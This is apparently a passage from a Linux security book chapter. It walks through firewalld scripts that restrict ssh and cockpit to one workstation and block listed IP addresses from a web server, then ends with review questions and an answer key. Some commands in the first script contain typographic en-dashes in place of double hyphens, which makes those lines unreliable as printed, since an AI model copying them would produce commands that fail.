The goal for this first shell script is simple. We just want to change the default zone to the dmz zone, and allow access to the web server. The reason we’re changing to the dmz zone is that we don’t need to allow access to the dhcpv6-client service, and we don’t want universal access to the cockpit service. The dmz zone only allows access to the ssh service, as you see here:

donnie@localhost:~$ sudo firewall-cmd --info-zone=dmz
dmz
target: default
ingress-priority: 0
egress-priority: 0
icmp-block-inversion: no
interfaces:
sources:
services: ssh
ports:
protocols:
forward: yes
masquerade: no
forward-ports:
source-ports:
icmp-blocks:
rich rules:
donnie@localhost:~$

We also want to restrict ssh and cockpit access to just one workstation.

So now, let’s begin the procedure.

  1. Before you begin creating the script, install and enable the Apache web server, like so:
    donnie@localhost:~$ sudo dnf install httpd mod_ssl
    donnie@localhost:~$ sudo systemctl enable --now httpd
  2. You’ll also need to enable the cockpit service, which is a web-based remote management tool. Enable it by doing:
    donnie@localhost:~$ sudo systemctl enable --now cockpit.socket
  3. Now, let’s create the script. Make it look like this:
    #!/bin/bash
    firewall-cmd –set-default-zone=dmz
    firewall-cmd --permanent –remove-service=ssh
    firewall-cmd --permanent --add-rich-rule='rule family=ipv4 source address="192.168.0.201" service name=ssh accept'
    firewall-cmd --permanent --add-rich-rule='rule family=ipv4 source address="192.168.0.201" service name=cockpit accept'
    firewall-cmd --permanent –add-service={http,https}
    firewall-cmd --reload

Here’s the breakdown:

  • The first command sets the default zone to the dmz zone.
  • The second command removes universal access to the ssh service. If you’re logged in remotely, don’t worry about breaking your ssh connection. None of these rules will take effect until the final --reload command, by which time you’ll have added the rule to grant access to your own workstation.
  • The third command is an example of a firewalld rich rule. (Think of a rich rule as just a rule with extended syntax.) This rule allows only the workstation at 192.168.0.201 to access the ssh service. All other IP addresses will be blocked. One thing to note is that, unlike what I told you about the basic firewalld rules, a rich rule can apply only to either IPv4 or IPv6, as applicable for your own use case. (You see this in the family=ipv4 part of this rule.)
  • The fourth command grants Cockpit access to the workstation at 192.168.0.201. All other IP addresses will be blocked.
  • The fifth command adds the http and https services, which open port 80 and port 443. This access is granted to everyone.
  • In all cases except for setting the default zone, you’ll need to use the --permanent option so that these rules will be saved to the configuration file. Otherwise, the rules will disappear when the server is rebooted.
  • The sixth command reloads the firewalld rules from the configuration file. The --reload command is required whenever you use the --permanent option for creating rules. When you create rules without the --permanent option, the rules take effect immediately but will disappear when you reboot the machine. When you create rules with the --permanent option, the rules don’t take effect until you issue the firewall-cmd --reload command.
  1. Now, edit the script to use the IP address of your own workstation, make it executable, and run it. Here’s how it should look:
    donnie@localhost:~$ sudo ./firewalld-1.sh
    success
    success
    success
    success
    success
    success
    donnie@localhost:~$

There were six firewalld commands in the script, and we got a success status for each one.

  1. From a web browser on any machine on your network, try to access both the secure and non-secure web sites on the web server by entering the IP address of your AlmaLinux virtual machine, with both http:// and https:// prefixes, into the URL bar of your web browser. (You’ll get an error message about the self-signed security certificate, but that’s okay. It still means that the firewall is working correctly.)
  2. From your own workstation, try to access the virtual machine’s cockpit service, which is on port 9090/tcp. The URL that you’ll enter into the web browser should look something like this:
    https://192.168.0.20:9090
  3. Now, try to access the cockpit service from other machines on your network. This time, you should be blocked.
  4. Finally, try to SSH into the virtual machine from your own workstation, as well as from other machines on the network. You should be allowed through from your own workstation, but the other machines should be blocked.

For the next script, let’s put some more access control rules in place.

Creating a shell script to restrict web server access

Section titled “Creating a shell script to restrict web server access”

We’ll now create a script that will block certain individual IP addresses, as well as an entire network, from accessing the web server.

  1. First, create the bad_ipaddresses.txt file and populate it with the IP addresses that you want to block. My list looks like this:
    192.168.0.18
    192.168.0.27
    192.168.0.16
    192.168.1.0/24
  2. Create the firewalld-2.sh script, which looks like this:
    #!/bin/bash
    xargs -i firewall-cmd --permanent --add-rich-rule="rule family="ipv4" source address={} service name=http drop" < bad_ipaddresses.txt
    xargs -i firewall-cmd --permanent --add-rich-rule="rule family="ipv4" source address={} service name=https drop" < bad_ipaddresses.txt
    firewall-cmd --reload
  3. Note that when creating rich rules, you can’t list more than one service for a rule, as you did with the basic command in the firewalld-1.sh script. You have to list each service in a separate rule. And, as you already saw in the ufw-2.sh script for Ubuntu, the xargs -i command will read the list of IP addresses from the bad_ipaddresses.txt file and place each one within the curly braces for the source address.
  4. View the information about the dmz zone, like this:
    donnie@localhost:~$ sudo firewall-cmd --info-zone=dmz
    dmz (default, active)
    target: default
    ingress-priority: 0
    egress-priority: 0
    icmp-block-inversion: no
    interfaces: enp0s3
    sources:
    services: http https
    ports:
    protocols:
    forward: yes
    masquerade: no
    forward-ports:
    source-ports:
    icmp-blocks:
    rich rules:
    rule family="ipv4" source address="192.168.0.27" service name="https" drop
    rule family="ipv4" source address="192.168.0.16" service name="http" drop
    rule family="ipv4" source address="192.168.0.201" service name="ssh" accept
    rule family="ipv4" source address="192.168.0.16" service name="https" drop
    rule family="ipv4" source address="192.168.1.0/24" service name="https" drop
    rule family="ipv4" source address="192.168.0.201" service name="cockpit" accept
    rule family="ipv4" source address="192.168.1.0/24" service name="http" drop
    rule family="ipv4" source address="192.168.0.18" service name="https" drop
    rule family="ipv4" source address="192.168.0.18" service name="http" drop
    rule family="ipv4" source address="192.168.0.27" service name="http" drop
    donnie@localhost:~$

At the bottom, you see the rich rules that you added from both scripts.

  1. Another difference between ufw and firewalld is that when you add blocking rules to firewalld, you don’t have to worry about getting them in the correct order. That’s because firewalld automatically inserts the blocking rules ahead of the allow rules in the nftables configuration, so that everything will work correctly. You can prove that by viewing the relevant snippet of the nft list ruleset command, like this:
    donnie@localhost:~$ sudo nft list ruleset
    . . .
    . . .
    chain filter_IN_dmz_deny {
    ip saddr 192.168.0.16 tcp dport 80 drop
    ip saddr 192.168.0.16 tcp dport 443 drop
    ip saddr 192.168.0.18 tcp dport 80 drop
    ip saddr 192.168.0.18 tcp dport 443 drop
    ip saddr 192.168.0.27 tcp dport 80 drop
    ip saddr 192.168.0.27 tcp dport 443 drop
    ip saddr 192.168.1.0/24 tcp dport 80 drop
    ip saddr 192.168.1.0/24 tcp dport 443 drop
    }
    chain filter_IN_dmz_allow {
    tcp dport 80 accept
    tcp dport 443 accept
    ip saddr 192.168.0.201 tcp dport 9090 accept
    ip saddr 192.168.0.201 tcp dport 22 accept
    }
    . . .
    . . .
    donnie@localhost:~$
  2. Finally, try to access both the http:// and https:// websites from the machines that you blocked. Hopefully, you won’t be able to access them.

Configuring Linux systems for best security is a vast topic that I can’t possibly cover in one chapter. To learn more, check out my Mastering Linux Security and Hardening book (

I think that about does it for this chapter. Let’s go ahead and wrap it up.

As always, we’ve covered some important ground in this chapter. We began with a discussion about enabling automatic updates on Ubuntu, Red Hat, and SUSE systems. I then showed you a shell script that audits users’ sudo activity, and another script that detects if the root user account is enabled. After that, I showed you a couple of ready-made shell scripts that can perform comprehensive security audits on just about any Linux or Unix system, and then show you how to harden those systems. Finally, I showed you some firewall scripts that you can deploy to an entire fleet of web servers, should the need arise.

A very important part of the penetration testing process is to create detailed, actionable reports for either your employer or your clients. In the next chapter, my co-author Valentine will show you some cool ways to do that. Enjoy!

  1. What is the recommended method for updating a large fleet of servers and workstations?
    1. Always use the operating systems’ built-in mechanisms for enabling automatic updates. 2. Create your own shell scripts that will update and reboot your systems, and have them run automatically via a systemd timer. 3. Create your own shell scripts that will update and reboot your systems, and have them run automatically via a cron job. 4. Use a fleet management program, such as Landscape, Satellite, or Ansible.
  2. What should you do to ensure the best portability for your shell scripts?
    1. Just use #!/bin/sh for the shebang line. 2. Just use #!/bin/bash for the shebang line. 3. Use #!/bin/sh for the shebang line, and avoid using programming constructs that are specific to bash. 4. Use #!/bin/bash for the shebang line, and avoid using programming constructs that are specific to non-bash shells.
  3. How many UID 0 accounts should be in the /etc/passwd file on Linux and FreeBSD systems?
    1. 1 for Linux, 3 for FreeBSD 2. 1 for Linux, 2 for FreeBSD 3. 3 for Linux, 3 for FreeBSD 4. 2 for Linux, 1 for FreeBSD
  4. Which configuration files contain users’ password hashes on Linux and FreeBSD systems?
    1. The /etc/shadow file on Linux, and the /etc/master.passwd file on FreeBSD. 2. The /etc/passwd file on Linux, and the /etc/passwd file on FreeBSD. 3. The /etc/ shadow file on Linux, and the /etc/ master.passwd file on FreeBSD. 4. The /etc/master.passwd file on Linux, and the /etc/master.passwd file on FreeBSD.
  5. What’s the best way to view a LinPEAS output file on your Kali machine?
    1. Open the file in less. 2. Open the file in more. 3. Open the file in vim. 4. Install the bat package, and open the file in batcat. 5. Install the bat package, and open the file in bat.
  6. What is the name of the Linux firewall?
    1. iptables 2. nftables 3. netfilter 4. ufw 5. firewalld
  1. d
  2. c
  3. b
  4. a
  5. d
  6. c